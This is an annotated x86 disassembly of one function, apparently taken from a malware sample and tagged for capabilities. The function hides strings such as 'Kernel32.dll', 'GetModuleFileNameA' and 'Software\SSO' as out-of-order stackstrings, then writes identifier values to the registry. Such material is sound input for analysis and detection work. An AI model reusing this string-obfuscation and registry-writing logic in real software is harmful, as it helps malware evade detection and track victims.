Function at 0x10019f20
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5bc
mov eax, dword [0x100a5688]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
mov dword [0x100a6b20], eax
mov ecx, dword [ebp + 0x10]
mov dword [0x100a6b24], ecx
mov edx, dword [ebp + 0xc]
mov dword [0x100a6b28], edx
mov byte [ebp - 0x544], 0
push 0x3ff
push 0
lea eax, [ebp - 0x543]
push eax
call fcn.10059510
add esp, 0xc
lea ecx, [ebp - 0x544]
push ecx
call fcn.10018000
add esp, 4
push 0x10089780
lea edx, [ebp - 0x544]
push edx
call fcn.10059610
add esp, 8
test eax, eax
jne 0x10019f9d
mov dword [ebp - 0x59c], 1
jmp 0x10019fa7
mov dword [ebp - 0x59c], 0
mov al, byte [ebp - 0x59c]
mov byte [ebp - 0x575], al
lea ecx, [ebp - 0x588]
call fcn.10005190
push 0x400
lea ecx, [ebp - 0x588]
call fcn.10005100
push eax
call fcn.10018000
add esp, 4
push 0xffffffffffffffff
lea ecx, [ebp - 0x588]
call fcn.100044f0
lea ecx, [ebp - 0x57c]
call fcn.10005190
push 0x400
lea ecx, [ebp - 0x57c]
call fcn.10005100
push eax
call fcn.10018000
add esp, 4
push 0xffffffffffffffff
lea ecx, [ebp - 0x57c]
call fcn.100044f0
lea ecx, [ebp - 0x584]
call fcn.10005190
push 0x400
lea ecx, [ebp - 0x584]
call fcn.10005100
push eax
call fcn.10018000
add esp, 4
push 0xffffffffffffffff
lea ecx, [ebp - 0x584]
call fcn.100044f0
lea ecx, [ebp - 0x580]
call fcn.10005190
push 0x400
lea ecx, [ebp - 0x580]
call fcn.10005100
push eax
call fcn.10018000
add esp, 4
push 0xffffffffffffffff
lea ecx, [ebp - 0x580]
call fcn.100044f0
mov dword [ebp - 0x594], 0
mov ecx, 1
imul ecx, ecx, 5
mov byte [ebp + ecx - 0x2c], 0x6c
mov edx, 1
imul edx, edx, 0xa
mov byte [ebp + edx - 0x2c], 0x6c
mov eax, 1
imul eax, eax, 6
mov byte [ebp + eax - 0x2c], 0x33
mov ecx, 1
shl ecx, 2
mov byte [ebp + ecx - 0x2c], 0x65
mov edx, 1
shl edx, 1
mov byte [ebp + edx - 0x2c], 0x72
mov eax, 1
imul eax, eax, 0xc
mov dword [ebp - 0x5a0], eax
cmp dword [ebp - 0x5a0], 0xd
jae 0x1001a0da
jmp 0x1001a0df
call fcn.10056f6f
mov ecx, dword [ebp - 0x5a0]
mov byte [ebp + ecx - 0x2c], 0
mov edx, 1
imul edx, edx, 0
mov byte [ebp + edx - 0x2c], 0x4b
mov eax, 1
imul eax, eax, 3
mov byte [ebp + eax - 0x2c], 0x6e
mov ecx, 1
imul ecx, ecx, 7
mov byte [ebp + ecx - 0x2c], 0x32
mov edx, 1
shl edx, 3
mov byte [ebp + edx - 0x2c], 0x2e
mov eax, 1
shl eax, 0
mov byte [ebp + eax - 0x2c], 0x65
mov ecx, 1
imul ecx, ecx, 9
mov byte [ebp + ecx - 0x2c], 0x64
mov edx, 1
imul edx, edx, 0xb
mov byte [ebp + edx - 0x2c], 0x6c
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x598], eax
cmp dword [ebp - 0x598], 0
je 0x1001a637
mov ecx, 1
imul ecx, ecx, 7
mov byte [ebp + ecx - 0x40], 0x6c
mov edx, 1
shl edx, 4
mov byte [ebp + edx - 0x40], 0x65
mov eax, 1
imul eax, eax, 6
mov byte [ebp + eax - 0x40], 0x75
mov ecx, 1
shl ecx, 1
mov byte [ebp + ecx - 0x40], 0x74
mov edx, 1
imul edx, edx, 0xb
mov byte [ebp + edx - 0x40], 0x6c
mov eax, 1
imul eax, eax, 0xc
mov byte [ebp + eax - 0x40], 0x65
mov ecx, 1
imul ecx, ecx, 0xa
mov byte [ebp + ecx - 0x40], 0x69
mov edx, 1
imul edx, edx, 0xd
mov byte [ebp + edx - 0x40], 0x4e
mov eax, 1
imul eax, eax, 0x11
mov byte [ebp + eax - 0x40], 0x41
mov ecx, 1
shl ecx, 3
mov byte [ebp + ecx - 0x40], 0x65
mov edx, 1
imul edx, edx, 0x12
mov dword [ebp - 0x5ac], edx
cmp dword [ebp - 0x5ac], 0x13
jae 0x1001a1fc
jmp 0x1001a201
call fcn.10056f6f
mov eax, dword [ebp - 0x5ac]
mov byte [ebp + eax - 0x40], 0
mov ecx, 1
imul ecx, ecx, 3
mov byte [ebp + ecx - 0x40], 0x4d
mov edx, 1
imul edx, edx, 5
mov byte [ebp + edx - 0x40], 0x64
mov eax, 1
shl eax, 0
mov byte [ebp + eax - 0x40], 0x65
mov ecx, 1
shl ecx, 2
mov byte [ebp + ecx - 0x40], 0x6f
mov edx, 1
imul edx, edx, 0xe
mov byte [ebp + edx - 0x40], 0x61
mov eax, 1
imul eax, eax, 0
mov byte [ebp + eax - 0x40], 0x47
mov ecx, 1
imul ecx, ecx, 0xf
mov byte [ebp + ecx - 0x40], 0x6d
mov edx, 1
imul edx, edx, 9
mov byte [ebp + edx - 0x40], 0x46
lea eax, [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x598]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x594], eax
mov byte [ebp - 0x144], 0
push 0x103
push 0
lea edx, [ebp - 0x143]
push edx
call fcn.10059510
add esp, 0xc
push 0x104
lea eax, [ebp - 0x144]
push eax
push 0
call dword [ebp - 0x594]
lea ecx, [ebp - 0x144]
push ecx
call fcn.100101b0
add esp, 4
mov byte [ebp - 0x577], al
movzx edx, byte [ebp - 0x575]
test edx, edx
jne 0x1001a2f3
movzx eax, byte [ebp - 0x577]
test eax, eax
je 0x1001a2f3
mov dword [ebp - 0x5a8], 0
jmp 0x1001a2fd
mov dword [ebp - 0x5a8], 1
mov cl, byte [ebp - 0x5a8]
mov byte [ebp - 0x576], cl
lea ecx, [ebp - 0x588]
call fcn.100044d0
push eax
lea edx, [ebp - 0x55c]
push edx
call fcn.10013360
add esp, 8
movzx eax, byte [ebp - 0x576]
test eax, eax
jne 0x1001a342
lea ecx, [ebp - 0x55c]
call fcn.10017a70
test eax, eax
jne 0x1001a3de
lea ecx, [ebp - 0x590]
call fcn.10005190
mov ecx, dword [ebp - 0x588]
push ecx
push str.742cc9f1de274c4890f42ef5a995e701
push 0x10
push 0
lea edx, [ebp - 0x5b8]
push edx
lea ecx, [ebp - 0x57c]
call fcn.1000a7b0
mov eax, dword [eax]
push eax
push str._s_s_s
lea ecx, [ebp - 0x590]
push ecx
call fcn.10004b70
add esp, 0x14
lea ecx, [ebp - 0x5b8]
call fcn.10005140
lea ecx, [ebp - 0x590]
call fcn.100044d0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5bc], esp
push eax
call fcn.10005a60
lea edx, [ebp - 0x574]
push edx
call fcn.1001cb90
add esp, 0x1c
push eax
lea ecx, [ebp - 0x55c]
call fcn.1000e770
lea ecx, [ebp - 0x574]
call fcn.10005bb0
lea ecx, [ebp - 0x590]
call fcn.10005140
mov eax, 1
imul eax, eax, 0xa
mov byte [ebp + eax - 0x14], 0x53
mov ecx, 1
shl ecx, 2
mov byte [ebp + ecx - 0x14], 0x77
mov edx, 1
shl edx, 3
mov byte [ebp + edx - 0x14], 0x5c
mov eax, 1
imul eax, eax, 0xc
mov dword [ebp - 0x5b4], eax
cmp dword [ebp - 0x5b4], 0xd
jae 0x1001a41e
jmp 0x1001a423
call fcn.10056f6f
mov ecx, dword [ebp - 0x5b4]
mov byte [ebp + ecx - 0x14], 0
mov edx, 1
imul edx, edx, 7
mov byte [ebp + edx - 0x14], 0x65
mov eax, 1
imul eax, eax, 0xb
mov byte [ebp + eax - 0x14], 0x4f
mov ecx, 1
imul ecx, ecx, 3
mov byte [ebp + ecx - 0x14], 0x74
mov edx, 1
imul edx, edx, 0
mov byte [ebp + edx - 0x14], 0x53
mov eax, 1
imul eax, eax, 6
mov byte [ebp + eax - 0x14], 0x72
mov ecx, 1
shl ecx, 0
mov byte [ebp + ecx - 0x14], 0x6f
mov edx, 1
imul edx, edx, 9
mov byte [ebp + edx - 0x14], 0x53
mov eax, 1
imul eax, eax, 5
mov byte [ebp + eax - 0x14], 0x61
mov ecx, 1
shl ecx, 1
mov byte [ebp + ecx - 0x14], 0x66
mov edx, 1
shl edx, 0
mov byte [ebp + edx - 0x1c], 0x69
mov eax, 1
imul eax, eax, 0
mov byte [ebp + eax - 0x1c], 0x54
mov ecx, 1
imul ecx, ecx, 6
mov dword [ebp - 0x5b0], ecx
cmp dword [ebp - 0x5b0], 7
jae 0x1001a4d5
jmp 0x1001a4da
call fcn.10056f6f
mov edx, dword [ebp - 0x5b0]
mov byte [ebp + edx - 0x1c], 0
mov eax, 1
imul eax, eax, 5
mov byte [ebp + eax - 0x1c], 0x74
mov ecx, 1
shl ecx, 1
mov byte [ebp + ecx - 0x1c], 0x63
mov edx, 1
shl edx, 2
mov byte [ebp + edx - 0x1c], 0x65
mov eax, 1
imul eax, eax, 3
mov byte [ebp + eax - 0x1c], 0x6b
lea ecx, [ebp - 0x55c]
call fcn.10017a70
push eax
lea ecx, [ebp - 0x55c]
call fcn.10005b20
push eax
push 1
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x14]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov eax, 1
shl eax, 1
mov byte [ebp + eax - 0x58c], 0x64
mov ecx, 1
imul ecx, ecx, 0
mov byte [ebp + ecx - 0x58c], 0x67
mov edx, 1
imul edx, edx, 3
mov dword [ebp - 0x5a4], edx
cmp dword [ebp - 0x5a4], 4
jae 0x1001a57d
jmp 0x1001a582
call fcn.10056f6f
mov eax, dword [ebp - 0x5a4]
mov byte [ebp + eax - 0x58c], 0
mov ecx, 1
shl ecx, 0
mov byte [ebp + ecx - 0x58c], 0x69
lea ecx, [ebp - 0x57c]
call fcn.10004ef0
push eax
lea ecx, [ebp - 0x57c]
call fcn.100044d0
push eax
push 1
lea edx, [ebp - 0x58c]
push edx
lea eax, [ebp - 0x14]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
lea ecx, [ebp - 0x584]
call fcn.10004ef0
push eax
lea ecx, [ebp - 0x584]
call fcn.100044d0
push eax
push 1
push 0x10089784
lea ecx, [ebp - 0x14]
push ecx
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
lea ecx, [ebp - 0x580]
call fcn.10004ef0
push eax
lea ecx, [ebp - 0x580]
call fcn.100044d0
push eax
push 1
push 0x10089788
lea edx, [ebp - 0x14]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
lea ecx, [ebp - 0x55c]
call fcn.10005bb0
lea ecx, [ebp - 0x580]
call fcn.10005140
lea ecx, [ebp - 0x584]
call fcn.10005140
lea ecx, [ebp - 0x57c]
call fcn.10005140
lea ecx, [ebp - 0x588]
call fcn.10005140
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005ae75
mov esp, ebp
pop ebp
ret